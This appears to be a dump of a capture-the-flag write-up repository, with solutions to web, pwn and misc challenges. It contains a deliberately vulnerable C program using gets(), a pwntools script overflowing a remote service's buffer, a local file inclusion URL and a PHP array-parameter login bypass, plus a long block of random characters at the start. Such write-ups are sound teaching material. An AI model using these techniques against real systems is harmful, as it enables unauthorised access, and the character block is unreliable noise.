3~>sHEw_aHQ+Hug#95]zAqDZ@+Ie(IT;5x3K@_MLqd(jYm6m<-b9JBPVfuksgoeXKaJb0o!q_=cl2;!~@ov3zY)sW9sZs-k0ooaaB5~CJ2Skb[w9;K2rW_T{e@(Gmis|ma|HX>?1a(<6-SD+N>jJR84_5Qd7Wqq8kc}Sq@{r{nxz2q0SOeKDDKPUVA2Ll=XYlyax9A9rAWB7}a{Qz+p0_{k(T!]0j=tjzRSF0aa(3^m7DJ;zq+qqHdv:y#~ww1BerwvREr_WG@v2DBF9&uVBu_C8WzlVuqNwu3F4BY<<+!|mkn4xKhj&}v3nXcq!QiP{!V48q9O(C0mh[3-e:T=bntkh]_eEwEe5UA5Hdd>x:S]Iz}EM:2(^tqiMX[BF[)VuuF!P;5Z8k)#(kb=]P6v]#gOZLC>toB)ThD09bJnNN|?y?KEM_M>D}WR~[dbo(G##:NaZc8Jam8YsWqiaecop9f#w+chfQ=epOajrKPaLWROFJ4_oQJ|=59CT)!NwieNk[Rd|h^z^|(#jZ05dQI-_#+HJ[SS2bCwIHYP?9A^-=^9Ch[+o8KiQleP!xZ0oth4agpbIoZcH{k]FC(goc0LS)]fXbWvsv~k84qy0-0O2oQ@MKytaW[KRTLhP2oa>2aR(B0DWPdtT9vwwpklFMwawAHO>?7VAlPY^qW|:C-ryr(k&GH)u7U(nNVZUr[r!Ifa^n3+}?_IhHoGNaa-jhbo>h1MR(SJ]!Njok>w7UNqco_toINq(Hvh~Aa8JaZ0WaiKFa>X3u=bq-~):6e!U]O:J}@Kh!)ed0#r[{Xzm-wZ(S(yrx!8rHoNP5mxj+(#NA5a|k-S}gG77;ao^>q3Qjrdcfp3Wc;4~EaD(]S?6TOHdJRoO=YpeL-dknaPp^2Nt_h&q0EI3&nHE5qD1b+ypUq_SjeUtIz09kkft3JnDY7rhFTIof-Sks]5kEKofQF;IUah]WuL}8AV=?t1z=83k87QV_B)TZV+s-)5gVp|p-D7hHkAiZlr?RJ5{f#{~qi}_kxDjGkO#EDeva#:Kq(X10JMvnKXULq~kaXw==3Sy51I^aOy?{FLbD||aTSMS7V4E#]S~8KkXLz^4rTAx3rUGV-V?({Tq_Fn[Aj{B;pJ&azT}Ya6iYU5ja{(W-rjopH(mh}xb~22yW7;~j9{5jqw?FnUS_1rknieytoKhG?^8[A=jvy@ed3Wmw[3j=uV(n5HIF:{Xhv7ha?+d-Ehp?DApHjh4QH-jZv3XFn6J_NEvGRITTVqqnbQP;?eAh8Wmkm}Q8vZWp?o+^-n82szY2jy#0};s6msv#!4aI~^2QaZY&yQvfs0_HB?Xv26L]rjV]khuqa@c3!t_o{li_]y68Xa^h=}^UJSSX0-(L(pjbJ8Dgr+Rt0=_0tt)1u=L(cZ&Y(ooNE^>DjwH9hhHv_0jP&?4(TXy]+~2>M2M>YQrhxL;v3a95ikYokRq9l_:Z&j4irHC6?}Fqx9F|r]+9|w+:v7?RLEBuMG<]a@ojQI~y^(H#6^R6DTLGzn+Tk(jez+q<+k(L}T&Htcak+vQj&_qcc+Nv6qj|w^(q#P{_en](9zDkbKj4SYa_xb#yPqxyMP[(TN)BH!wh4uKV_nmJSgUbeF8PJ<5na3[ad29v4&2~L:0o(Tajs>+]:W7o}TJ=jzYa)hxzk~055|{#VMW{UX+4=cQrI!_?V8u5yPIEPAZ;ack_haq0^0R@i|^a(rqaq645_2r>0jP-a14LcOiCoS0AwV~)Eth?u>G]P6U2L=-X(zC@8spJ6KIq]Xm:56@kbdI]gnrfwjkUh&Fo(n1Lhhk420SA#Mq}DN1{2qm0mFH]j{grzx5B1+=p+;_gwai6|pO&TNNXrZf}]>1JrQUH}&A[40DSo2a40?oa8=~|r8(qkVJ_K|Naow)2_rPhjw3P|n=;_>(TTv&iXy!haa)A{OTpv>8o6()LiG_8S}hjUYMIxp;0n[9hsQpRLpA#a}GpT#4SuMj5G9Zr?hRkrH^tazKq#mKk#;cTLr8|w[IT3&bY!C8a#aH-5SD_f!zmkkZqUyIH([h[PYu[T;oJOQ[;o2<[!&aq#Gxa#u3No{harkHt_yT^5>Dk)S|hak4HKs[Tar(4mre;OElu{tz!^_rrD&Ja#ij&pT;_(:hmhPV=Ea9dTNJM8K3jjYGL)qAhVH-H_B:<^FB3dwqre)fe=Uf5q8D@WWSHQrYKs~F1Z]TLXTk?_kF6qL6ObUdGL:>jq@a850PP^-a&#U4Yk0Ch&NveEGe>y}?x:-^RKUI?jBj(LFg+qoaF4jz6|8;cpMX3]e3aNIa(;:0qaa2hMAeCSrUO?cbI3>3<5[vWal?dM^)9V40I;VXVOr@||zAy;qro_~R-cmd@E3lq]:{CeOo@jo_y_6V@)yFGoshWZPb4XlvBF_vES60jo39|s4ItA(:P_onV[rJOfq#)wNpU_(&9(ue{m|!0PU&h;jnqaov5W6fn?R#qPDmm|oSha(iOvj>]BtSdal@W4oWi5?RDveQaqrqP6)}oAy{MKq(jLYHh^!KT;tI]!=j;k}mtKhRT6HZFF@_dwk[ea~_SoaOakg~o!h(X|_JR7am^(BKQw&[By|sQ>z{|aE!}::+Hl(!@AMZDZ(wlq-T[J[T~{wWv4:dk@1^L6(]t![uiz_+rOnUv0rpAvjQrO{3dr[q)Yp{Zm7]F:vywp^q_AgacxoT^TKu-H]j8=YCS7TV3hY+|82@(p}C3a(alW_W(dGC4q|rw@X-AFgPOGp]sB!;p&s1jQ9Va_=_dg1L(^-alRj|p4&s?f3eF_dDs(p2M7Frj!qh+H@^S(2spq3_#IDPk!2+Q(!+llTB[;v_YgU)8~QeaTB?_r7dRy&3hv{8vXQz5l|6+j=J!xfPosd!BU)KvdMG#rhth2q(57FrafGZUhDzHnlSD_:bP0KANH)&Dx5796Hk};pwOhz)[I_(&Qj!ri(Alj(wU[QxjIq=ofK&:(_yj>_a{to7?2xIUl;tX[_ade9aWajh6PW_3c8=~T!|1=do6dhaP#4MayFjGGt=qZST8_dz[vj;0n3Av((5=fNoUQ~fE!AQ6)EGy;NfBgduvkq5xmrQ1:07Emo^>qqw?eY__#z3^mUFWhfVZ_9LD2M[juzZ(amP:?=k>(2#@V8#4Vs0xULP0&QaE4kayI=6VZ!+J+Ey?zva9_|WT3cQd+rTO&2XZUpwr8B);sN-gHoWKAf7Go@dBJd#CewTX4B?]tRRvKqqr{ur3_P3pV_la2(e83t[R(^(;>UhUnN-vvwUthbEX-@={ZVTY>a?5!#J^qH]YhG1r7q_[ai2o4jm5NJ9oZ>pTUnWZgE-&]AfE=3]Y~ogo6ekoJer5QqSa>?wg-CG9Fe+9|q(u-NexpZq?MFagjP_zuFLrH_80E&~aYk1bLa&F7v0B6P#!S9D(eUj;_F3[wmi5PpufCBI@K^zza={avmo_=poTnCo^X~tvdKAo;-Yt!g;wa=hr;H4FcB83kWhE{XdoWqHOjPA#E=k5EXwXgFD(-)k_;J(NoW@HBN0kPc_PREGJ(9<()|wKVIfayepQh?@=rYwB7:r=L)@aSJM8v+1J}[z19k(NJU0Sz4i?)h=KzE(RPf=A3VMQO]_+!VXd3U3aBCdr}mTbrg#=!g3Buvh-;KHnx9UjLGwYczJcyw=V?=RXW97o:~E7J2_Z9TddMuPj148wQQ(D&naa[FJG5XRyenwoA;[^AH;~&CiAsjoF>A#4G)[C(L:wTk;-NdV?7k&g1tBj!0|>hMH(cUFa>+jYkq#CN;TgwQW#Yhw@a#O-Era;W9xpM6]|A(IPGjIqk|nh8;n_t6dk-wYZhufkbWj1cUa_?=uOor)Bj#Ghv4&ES2P4k~g[hrH1iajz[1f-(gZh[G:V_|r^[_nJoM-f{8sEXI#]_sV(oEH]O]OkU~234+=;X+vjfF)h{xSbaZRr)scU^N@EF#B1UPTXaQl09NYQS8QjGJIUjhB?5{a:p(3sOnrumnVro;ZoA8:p(IphdeiDnqy!aK&2UqC7qfYVc@5z3jjaNKbkqPI>9nyH42rTbTT[BW1_Ic@HwT[IBcPj2VORA?rE):@kY7gj_:ALo=DCW(pHCvPZ[0{nXr{n-jtPPqOduchq{+e4&:)=BNRoUjKw^aPhnkn3:W(:?6:__(60o@O^!Xd1a3>apNlo-OrVYbno6oK@910(l5{PamPuBYo)]sO|zHjTV9-3rp+FrpJ)Qev|q#rydS(iwaCtZFnB3oFMtLJ|QL3_IvC!p+wo~[o_8OI#XAI1oGF|=4q9((65(PZ!l<9ppea;ywkSvaLGanmC8Y]gu?(16j8NN~Pb2bJ;7(PRjrN7WS~mV[972Kt8(9qFr4+A@>KpBliLm}Ws&V4ED_q!8t2jXkuo57]{OYAE5#cx3RM1>P@V#U]@vro@4h{TGfhIJTh|EOD)[ua5vhj^aekhdrlhq0^}fwL|3-G9jVs}9^ff58|YT@|)1_9p&!q}FZ5DuR5}ehJg?|;uYZmg![o3(~CJ1rcoTkLe;mo]qy@ng^{KggKLc>L8_+gJwhxGt!jy(}?:iT^uj-H(a?sHjFs8~[97M9zrZ!mne@oLcBIrs~]>=-UKrg7Nc3+JTy?j8W=BfO{4jq::fac_2NTJw(5q142W0tr-({:(FRZi}-owaPC;u+paa>UHgJq[#8R4bwk8+ht9Dz=iKe]H&P7?qDZ[47g<:I_[-gbkayq2?hMFaD;Q1hk@RqIL_hFIO-BXVxOt9knhQkjd@R^EniZW9No)GKvyeKWaa2&9D:>;!#UT+8^h4&q[phO9GFv&s=UUxo(0=Xy6_dv3&4Vo:OuU!m[BG^oEULAfyd&7hjer]xTa!NHVoFc!nRMBdG))locXC?VkhW={mL:y3F@C;_)Fq4QHoE)AE^32Wo?N8D&kkWex3~aeA&N6P9j?l#]iX2N}]_(o8Nxe7A#xnKj4~sJmqP7(-@!ap}rhwe>cyv038yu)VDXKYq7pGO6PFsrO:hojq8ol4zpS>2Wq6!UR4(LV[C?bh]T5]o6k[&+k)_~j#1sy6pd9o4_Ia|aBmynWzqhGd7G~albhc_66&&XYP@;KqCvLL~2JKu_(c+~3jzK265bCt4ki>Jpna@V>f3[A!Ca~(yJv6qa_orsP_Duda1nK)EoA:ID]Xv_Gm>2Y_3Tg_X8c]UGeGL-KWF+wZr=YoY_5j3Gq-KHWBU)=Z|0#?D7^(0X]oJdEd:X]J:XhZaBfRd)EX|t(TqRbF1oj^v6bODn&_O)@8)^EgJhlca>ZSI:(rqPNm_MmUHD_0:VE1n;(aazjh1(PMtt0ho:7={h=cKo|r]:!kYkmp-=aL{)8|N!B2Ha8qTTXL^8Q;V(H91^U[BGo74I915uZl<_D00_{kHGHCB)C<}5p}f&:|jiX!#R_ake3P&_Cqk(K[N&qXnkPkjekh_=nUX8w[->kV@qsI=2BgWdQYUz?M9@2;9c!?{}DT_kU4a94VRC6tMk-9o@pYFThsUs99aa?bkIGOa+ap(SB>G}~Uib;a3jF?Egh?hIAA>hIC9jJ_RHq(OJ]_K(_;^:^JH8O}Am(repvqKaQR~yioqXd5>-2#R{9{^=ftj3e(cfX!_Qa]F-wrO7aoCc&Z9#ae-^Eqa&jqA64N>wlLOr1DuhdJGHH}~b0ih0RqD~#FC[0|[a2rj5f+&g=wAra=K^@>qm1MBHDYVc1+apl?;d-VM2_iNlPxQPd&1c7T~P>g&+:-T@H6mWQ8ueEX[:Goj?F@P1f3k_sA;pKK8bk(ZMmL@Hoy5([wGoTIGf_YJ~hb_Wua^J^(TjdhgTVLt9)t?_5DJSla}HM-fPei}|5{hV{jvc[v[QR#^_39>HYq=(Mrq>j0nkwGydRkFc&yi+QKd^PsJA>y~e|98XURq]J9f_SGB;XcbN:Bk>!BaF+EFK!u^zDk_l|mk_1roFnoWtPdUeC6@(y||hGm#AN(T(s?ED?XQTFI><~DPPKuVJ&ckw(Da3H:jOExZ8a?fYKisVThgM5&GIAa3_|SVz=J_abjXn(HZF+c(Poi|1jOCx)OR(bc(Kpt1G(uxcdio--(ms#_W(]eYMCB@xjv1R!}-QZkz8V?fj4Gdc-Sf?(LGk]d]8FLKKgN>JGEWjC:1OjeY:d}W3hM&T_Baj3(74:Glo(|H(45{O:#QH=_o2:S13VYrQdD@mg6grm3c(PLazu?V_boEapmc#p_Mha((r4(a#lVyFc6@0{nx2As8ToKjEwe9a1;2Q:hi?7|UyJ40_x5dbB&vaex4+TsGhwxuRLNuD|qq=LaLC+S;QddY:WLjW_(G:#EU<}sWWv~DO0M[|h~OrjyTX(JZgz~MOyXF6?#n(ykrXq16(EjxmGuyCr@?Xoh-0x6w&MaFBArGh=3O7B3fA|k5}#[U)-S6zNo~W1}ae[Jt<0cYw3J0-XwZe:4mrp9U[bcAad8:h5dkOjF^6algkVjE>l0GC5YBJ^y[w&3n9ajfW9n?5zK9X]Ao4ryyj(MGl269#|D-~2OvT5_k578@9>?HM=aai:}EY(Qh496MbnG[o_3q&Ce6|f)h!5~!gaAe(seQ;dpXyORjz_qVja1h2|H3uSe3@AY&wV{:Qaf6SOYq>qd|JkU6i0D1hk}+y15B&T22]-;ah^:RhbjrLxC(rsR+nEjufEChz;UOC9njc@hfSO2{WiqZ|_]((aI_F]ZqJ-BTWKO9N#3iGVOhkSkO+8[IA!6vkk#]GX>UL=mHC|!=i[r}rt9&yZDkF|2G;y|BA=jx}K_l+|85Chhrr-=qh-9jK0lhAx(8+drQ7sS!=Ny!-~rvIpKM2fxHGyPE-uWatakox)#s]9TV&hqPGFpB!ztla{EurB(daIocPXAd#1=BlozN=+]ktE[Q&(:mFmh55B?kN8U!R=}!68hszhhD^[Utmqo8_IFMl~T:(+ZgVqT+H=!__=ev5kB5q#hl2_0zp6MQyypKRK#1i}bja2MhzeqD0S:r9M=(GwkzkNbqaSi?>Wc+wg_BA?Rt[Bd8iDAkk~eIW++bh-]-}6k87lb|Y__lAG@ekzj:ToYD?lea}6)>~t+Ku==C>+(p!V^hMv6bq_)1+~akakA@_|SWp])(k=APgajr&IRN(f;nf[rBm[[9m!r^NgU9H0Hq!5ID:_{~>ak@~aNK:PPh{^agw|a;SlTz!}X_E7Y>3_ak0Rv7yB;_YpbuWkl5hQ4&#}cZ!f#+Qboz#6M~Hk0O[FMNJF:kZvr7#AOg^ooapNwogDA99!pfhhaawkgDowr=9X:TafaaCFgX^@wIfdS{Z[a|3X0gROwKpa6?1}p[aw7uizO_#(|q:q46!^gKO0NOf21zcF)nNZ:kygH?p?qg{QnKc}(Zs?zy?KFyOJ!I(td_A#Ranq2SWjQWrDrb_JbZtKx!T+hxQQE>Qfrhg47nbOlKAUPxe)6+4b:p7oa_9xO7~Ll4P6ZhW705pm:?)(B5OE?P9?ajXGAk -------------------------------------------------------------------------------- /misc/Wrong?/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Wrong?/Flag.png -------------------------------------------------------------------------------- /misc/Wrong?/README.md: -------------------------------------------------------------------------------- 1 | ## Wrong? 2 | The main idea to find the flag is simple Inspecting Web Page. 3 | 4 | #### Step-1: 5 | The description of the challenge is given as: 6 | 7 | 8 | 9 | Alongwith that we are given [https://forms.gle/xKctfcSwZjsMi2H79](https://forms.gle/xKctfcSwZjsMi2H79). 10 | 11 | #### Step-2: 12 | So, I tried to open the Form link to get this: 13 | 14 | 15 | 16 | 17 | 18 | #### Step-3: 19 | After repetitive incorrect answers, I tried to view the Page Source and there I got this: 20 | 21 | 22 | 23 | #### Step-4: 24 | `flag{ifP\u003dNPthenNP\u003dPandyoudon'tmesswithR3g3X}`. Clearly, `\u003d` has to be `=`. 25 | 26 | #### Step-5: 27 | Finally, the flag becomes: 28 | `flag{ifP=NPthenNP=Pandyoudon'tmesswithR3g3X}` -------------------------------------------------------------------------------- /misc/Wrong?/Web1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Wrong?/Web1.png -------------------------------------------------------------------------------- /misc/Wrong?/Web2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Wrong?/Web2.png -------------------------------------------------------------------------------- /misc/Wrong?/wrong.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/misc/Wrong?/wrong.png -------------------------------------------------------------------------------- /pwn/Byte Cafe/README.md: -------------------------------------------------------------------------------- 1 | ## Byte Cafe 2 | The main idea to find the flag is by tweaking with the memory size to overflow the stack. 3 | 4 | #### Step-1: 5 | After reading the description of the challenge: 6 | 7 | ``` 8 | Here’s a great place to eat. What would you like to have? 9 | `nc 23.100.18.186 6677` 10 | ``` 11 | 12 | Along with that `byte_cafe.c` & `byte_cafe` files. 13 | The contents of `byte_cafe.c` is: 14 | 15 | ```c 16 | #include 17 | #include 18 | 19 | int main(void) 20 | { 21 | int code = 0; 22 | char name[1000]; 23 | 24 | setbuf(stdout, NULL); 25 | setbuf(stdin, NULL); 26 | setbuf(stderr, NULL); 27 | 28 | puts("Welcome to Byte Café!"); 29 | puts("What do you want to Byte today?"); 30 | 31 | gets(name); 32 | 33 | if(code != 0) { 34 | system("cat flag.txt"); 35 | } 36 | } 37 | ``` 38 | 39 | #### Step-2: 40 | I wrote this simple `solve.py` to get the flag. 41 | 42 | ```py 43 | #!/usr/bin/env python3 44 | 45 | from pwn import * 46 | 47 | conn = remote('23.100.18.186', 6677) 48 | 49 | print(conn.recvline().decode().strip()) #strip the message 50 | print(conn.recvline().decode().strip()) #strips the strip 51 | conn.sendline(str('A'*1008).encode()) 52 | print(conn.recv()) 53 | 54 | conn.close() 55 | ``` 56 | 57 | Executing this as `python3 solve.py`, gives us the flag. 58 | 59 | #### Step-3: 60 | Finally, the flag becomes: 61 | `flag{bits_are_delicious}` 62 | -------------------------------------------------------------------------------- /pwn/Byte Cafe/byte_cafe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/pwn/Byte Cafe/byte_cafe -------------------------------------------------------------------------------- /pwn/Byte Cafe/byte_cafe.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) 5 | { 6 | int code = 0; 7 | char name[1000]; 8 | 9 | setbuf(stdout, NULL); 10 | setbuf(stdin, NULL); 11 | setbuf(stderr, NULL); 12 | 13 | puts("Welcome to Byte Café!"); 14 | puts("What do you want to Byte today?"); 15 | 16 | gets(name); 17 | 18 | if(code != 0) { 19 | system("cat flag.txt"); 20 | } 21 | } -------------------------------------------------------------------------------- /pwn/Byte Cafe/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | conn = remote('23.100.18.186', 6677) 6 | 7 | print(conn.recvline().decode().strip()) 8 | print(conn.recvline().decode().strip()) 9 | conn.sendline(str('A'*1008).encode()) 10 | print(conn.recv()) 11 | 12 | conn.close() 13 | -------------------------------------------------------------------------------- /web/Admin Portal/Error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Admin Portal/Error.png -------------------------------------------------------------------------------- /web/Admin Portal/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Admin Portal/Flag.png -------------------------------------------------------------------------------- /web/Admin Portal/README.md: -------------------------------------------------------------------------------- 1 | ## Admin Portal 2 | The main idea to find the flag is exploitation from Local File Inclusion (LFI). 3 | 4 | #### Step-1: 5 | We are given this link: https://monster-bytectf.herokuapp.com/ or https://monster-bytectf.herokuapp.com/index.php? 6 | 7 | #### Step-2: 8 | The trying of `/index.php` at the end of the URL, gave me idea of LFI. 9 | 10 | 11 | 12 | So, I tried to use some random credentials, where I encountered this error. 13 | 14 | 15 | 16 | #### Step-3: 17 | So, next I tried https://monster-bytectf.herokuapp.com/password.php . Damn Got this: 18 | 19 | 20 | 21 | So we surely change it to LFI as follows: 22 | http://monster-bytectf.herokuapp.com/index.php?file=etc/password.php 23 | 24 | 25 | 26 | #### Step-4: 27 | We got the password there. So I used this credentials to login. 28 | 29 | ``` 30 | username: admin 31 | password: anshulrocksobviously 32 | ``` 33 | Voila, I had the flag there. 34 | 35 | 36 | 37 | #### Step-5: 38 | Finally, the flag becomes: 39 | `flag{lOc4L_f1Le_1nCLu51oN_15_ev1l}` -------------------------------------------------------------------------------- /web/Admin Portal/Web1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Admin Portal/Web1.png -------------------------------------------------------------------------------- /web/Admin Portal/Web2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Admin Portal/Web2.png -------------------------------------------------------------------------------- /web/Admin Portal/Web3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Admin Portal/Web3.png -------------------------------------------------------------------------------- /web/Eyecare v2/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Eyecare v2/Flag.png -------------------------------------------------------------------------------- /web/Eyecare v2/README.md: -------------------------------------------------------------------------------- 1 | ## Eyecare v2 2 | The main idea to find the flag is PHP vulnerability exploitation of NULL string. 3 | 4 | #### Step-1: 5 | We are given this link: http://eyecare.byethost32.com/v2 6 | 7 | Also this image `eyecarev2.png`: 8 | 9 | 10 | 11 | #### Step-2: 12 | After I visited the website, we are greeted with: 13 | 14 | 15 | 16 | After some futile tries of accessing, I got the PHP vuln there and get to know that Promo Code is SHA256 hash of hash is just hash of the password or username with key value set to null. 17 | 18 | The following credentials work: 19 | 20 | ```c 21 | Username: o 22 | Password: string (any string) 23 | Promo Code: 49a8f62406c86b65a6758790bc1fd124cc0be320539ee35aa6838edc1cf3b4df 24 | ``` 25 | The same can be accessed [here](http://eyecare.byethost32.com/v2/verify.php?username=o&password[]=ok&promo=49a8f62406c86b65a6758790bc1fd124cc0be320539ee35aa6838edc1cf3b4df). 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | #### Step-3: 35 | Finally, the flag becomes: 36 | `flag{3y3c4r3bu7wi7hh45h35}` 37 | -------------------------------------------------------------------------------- /web/Eyecare v2/Web1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Eyecare v2/Web1.png -------------------------------------------------------------------------------- /web/Eyecare v2/Web2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Eyecare v2/Web2.png -------------------------------------------------------------------------------- /web/Eyecare v2/Web3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Eyecare v2/Web3.png -------------------------------------------------------------------------------- /web/Eyecare v2/eyecarev2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Eyecare v2/eyecarev2.png -------------------------------------------------------------------------------- /web/Eyecare/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Eyecare/Flag.png -------------------------------------------------------------------------------- /web/Eyecare/README.md: -------------------------------------------------------------------------------- 1 | ## Eyecare 2 | The main idea to get the flag is simple attention to the description of the challenge. 3 | 4 | #### Step-1: 5 | The given description is as follows: 6 | 7 | ``` 8 | We are Byte Eye-Care and we care about your eyes. We have built this new eye care platform 9 | that we are giving out for free. All you have to do is guess the password and experience 10 | therapy like never before. Our clients are mostly vegetable sellers but we love you too. 11 | ``` 12 | 13 | This is the link given to us: [http://eyecare.byethost32.com/](http://eyecare.byethost32.com/) 14 | along with the image `eyes.PNG` 15 | 16 | 17 | 18 | #### Step-2: 19 | I visited the website to get this: 20 | 21 | 22 | 23 | I tried the passwords: `vegetable`, `vegetables`, `Vegetable`, `Vegetables`. Luckily `Vegetable` worked and I got the flag. 24 | 25 | #### Step-3: 26 | The page: 27 | 28 | 29 | 30 | 31 | #### Step-4: 32 | Finally, the flag becomes: 33 | `flag{570P_U51n9_Md5_PRE}` -------------------------------------------------------------------------------- /web/Eyecare/Web1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Eyecare/Web1.png -------------------------------------------------------------------------------- /web/Eyecare/eyes.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Eyecare/eyes.PNG -------------------------------------------------------------------------------- /web/Monster/Flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Monster/Flag.png -------------------------------------------------------------------------------- /web/Monster/README.md: -------------------------------------------------------------------------------- 1 | ## Monster 2 | The main idea to find the flag is simple cookie management. 3 | 4 | #### Step-1: 5 | After visiting the given link: [http://admin-bytectf.herokuapp.com/](http://admin-bytectf.herokuapp.com/) 6 | 7 | In the description, there is a mention of sweet food. 8 | 9 | #### Step-2: 10 | The web page given: 11 | 12 | 13 | 14 | So, I looked out for cookies and I got the flag there. 15 |
PS: I use Cookie Editor extension by Firefox
16 | 17 | 18 | 19 | #### Step-3: 20 | Finally, the flag becomes: 21 | `flag{7457Y_C00k135_W0W}` -------------------------------------------------------------------------------- /web/Monster/Web1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rishitsaiya/ByteCTF-Writeups/7de5f60b8ad5ee438c848e8d59400380dc90ca4e/web/Monster/Web1.png --------------------------------------------------------------------------------